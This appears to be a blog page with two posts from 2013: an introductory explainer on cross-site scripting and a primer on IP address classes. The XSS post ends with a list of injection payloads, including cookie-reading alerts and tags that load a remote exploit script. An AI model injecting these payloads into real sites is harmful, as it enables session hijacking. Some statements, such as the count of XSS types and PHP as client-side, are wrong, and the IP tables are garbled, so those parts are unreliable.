Showing posts with label internet protocol. Show all posts
Showing posts with label internet protocol. Show all posts

Friday, 1 November 2013

Cross Site Scripting



What is Cross Site Scripting?
            Cross-Site scripting also known as XSS. XSS is one of the most common vulnerable web attacks. XSS loopholes target scripts embedded in a page which are executed on the client-side web browser rather than on the server-side. XSS is internet security loopholes of client-side scripting languages such as HTML, JavaScript PHP. The approach of XSS is to use client-side scripts of a web application to execute in the manner desirable by the attacker. Such as administration can embed a script in a page which can be executed every time the page is loaded
                          XSS is the most common security loophole in website today. This should not be the case as the XSS is very easy to find out and easy to fix also. XSS loopholes can have result such as tampering and sensitive data theft.
Concepts of XSS
  • XSS is a Web-based attack acted on vulnerable Website and web application
  • In XSS attacks, the victim is the user who is browsing that webpage.
  •  In XSS attacks, malevolent content is delivered to users using JavaScript
Elaborate Cross-Site Scripting
                An XSS vulnerability when Web-site take data from users and dynamically include without first properly validating the data.
         XSS vulnerabilities allow an attacker to execute a script and display content in a victim user's browser XSS attack leads to an attacker controlling the victim’s browser or account on the vulnerable Web site and application. Also XSS is enabled by the vulnerable pages in a Web application. The command of an XSS vulnerability lies in the fact that the infected code executes in the vulnerable page of the victim's session, allowing the hacker to bypass easily security restrictions.

XSS Attack Examples
               There are many ways in which an attacker can attract a victim into starting a reflective XSS request. Example, the attacker could send the victim a misleading email with a link containing infected JavaScript. If the victim clicks on the link, the HTTP request is started from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then diverted back to the victim's browser, where it is used in the context of the victim user's session. 




Types of Cross Site Scripting Attacks
XSS attacks are almost always classified into 2 types:
1.     Non-persistent (temporary method)
2.      Persistent (stored method)
3.      DOM.
4.      Filter Evasion Techniques.
5.      Reflected methods






Persistent XSS Attack

      Suppose a Web page that allows users to enter their name which is displayed on each user’s profile page. The page stores each user name in a local database. An attacker notices that the Web application fails to clean the user name field and inputs infected JavaScript. When other users view the attacker’s profile page, the infected script automatically executes in the context of their session.

 









When hacker achieve in exploiting XSS vulnerabilities, they can approach to account stuff. They can also diffusion Web worms or access the victim’s computer and view the victim’s browser history or control the system remotely. After gaining control to the victim’s system, hacker can also analyze and use other intranet applications.
By exploiting XSS vulnerabilities, a hacker can do
·         Hijack an account
·         Spread Web worms
·         use browser history
·         Control the browser remotely
·         Scan and attack website and web applications

Then we have some scripting codes over there to implement the persistent XSS injection.
<script>alert(’hacked_by_jaggikhanna’);</script>
<script>alert(“hacked_by_jaggikhanna’’)</script>
<script>alert(document.cookie);</script>
<script>alert("jaggikhanna");</script>
<script src="http://www.jaggikhanna.com/exploit.js"></script>
<img src="javascript:alert(‘jaggi');">
<iframe src='vbscript:alert("hacked_by_jaggi’")'>
<body onload="alert(' hacked_by_jaggi’');">
<a href="#" onmouseover="alert(' hacked_by_jaggi’');">Cool link</a>
<input type="text" size="20" onfocus="alert(' hacked_by_jaggi’');">
<span style="background-image:url(javascript:alert(' hacked_by_jaggi’'))">
<span style="x:expression(alert(' hacked_by_jaggi’'))">
<link rel="stylesheet"  href="http://www.jaggi.com/exploit.css">
<meta http-equiv="refresh" content="0;url=data:text/html;base64,
PHNjcmlwdD5hbGVydCgnWFgorvamNTJyk7PC9zY3JpcHQ+">                
Normally put, XSS mix the injection of infected code into a website. It is the most general method of attack at the time, mostly big sites will contain at least one XSS vulnerability page. However, there is more than one type of XSS available but the most common type known as "none persistent" XSS.

Tuesday, 7 May 2013

WHAT IS IP ?

Short for Internet ProtocolIP is an address of a computer or other network device on a network using IP or TCP/IP. For example, the number "166.70.10.23" is an example of such an address. These addresses are similar to an addresses used on a house and is what allows data to reach the appropriate destination on a network and the Internet.
There are five classes of available IP ranges: Class A, Class B, Class C, Class D and Class E, while only A, B, and C are commonly used. Each class allows for a range of valid IP addresses. Below is a listing of these addresses.

ClassAddress RangeSupports
Class A1.0.0.1 to 126.255.255.254Supports 16 million hosts on each of 127 networks.
Class B128.1.0.1 to 191.255.255.254Supports 65,000 hosts on each of 16,000 networks.
Class C192.0.1.1 to 223.255.254.254Supports 254 hosts on each of 2 million networks.
Class D224.0.0.0 to 239.255.255.255Reserved for multicast groups.
Class E240.0.0.0 to 254.255.255.254Reserved for future use, or Research and Development Purposes.

Ranges 127.x.x.x are reserved for the loopback or localhost, for example, 127.0.0.1 is the common loopback address. Range 255.255.255.255 broadcasts to all hosts on the local network.

IP address breakdown
Every IP address is broke down into four sets of octets that break down into binary to represent the actual IP address. The below table is an example of the IP 255.255.255.255. If you are new to binary, we highly recommend reading our binary and hexadecimal conversions section to get a better understanding of what we're doing in the below charts.
IP:255255255255
Binary value:11111111111111111111111111111111
Octet value:8888
If we were to break down the IP "166.70.10.23", you would get the below value. In the below table, the first row is the IP address, the second row is the binary values, and the third row shows how the binary value equals the section of the IP address.
166701023
10100110010001100000101000010111
128+32+4+2=16664+4+2=708+2=1016+4+2+1=23
Automatically assigned addresses
There are several IP addresses that are automatically assigned when you setup a home network. These default addresses are what allow your computer and other network devices to communicate and broadcast information over your network. Below is the most commonly assigned network addresses in a home network.
192.168.1.00 is the automatically assigned network address.
192.168.1.11 is the commonly used address used as the gateway.
192.168.1.22 is also a commonly used address used for a gateway.
192.168.1.3 - 254Addresses beyond 3 are assigned to computers and devices on the network.
192.168.1.255255 is automatically assigned on most networks as the broadcast address.
If you have ever connected to your home network, you should be familiar with the gateway address or 192.168.1.1, which is the address you use to connect to your home network router and change its settings.
Getting an IP address
By default the router you use will assign each of your computers their own IP address, often using NAT to forward the data coming from those computers to outside networks such as the Internet. If you need to register an IP address that can be seen on the Internet, you must register through InterNIC or use a web host that can assign you addresses.
Anyone who connects to the Internet is assigned an IP address by their Internet Service Provider (ISP) who has registered a range of IP addresses. For example, lets assume your ISP is given 100 addresses, 109.145.93.150-250. This means the ISP owns addresses 109.145.93.150 to 109.145.93.250 and is able to assign any address in that range to its customers. So, all these addresses belong to your ISP address until they are assigned to a customers computer. In the case of a dial-up connection, you are given a new IP address each time you dial into your ISP. With most broadband Internet service providers because you are always connected to the Internet your address rarely changes and will remain the same until the service provider requires it to be changed.
Connecting to the Internet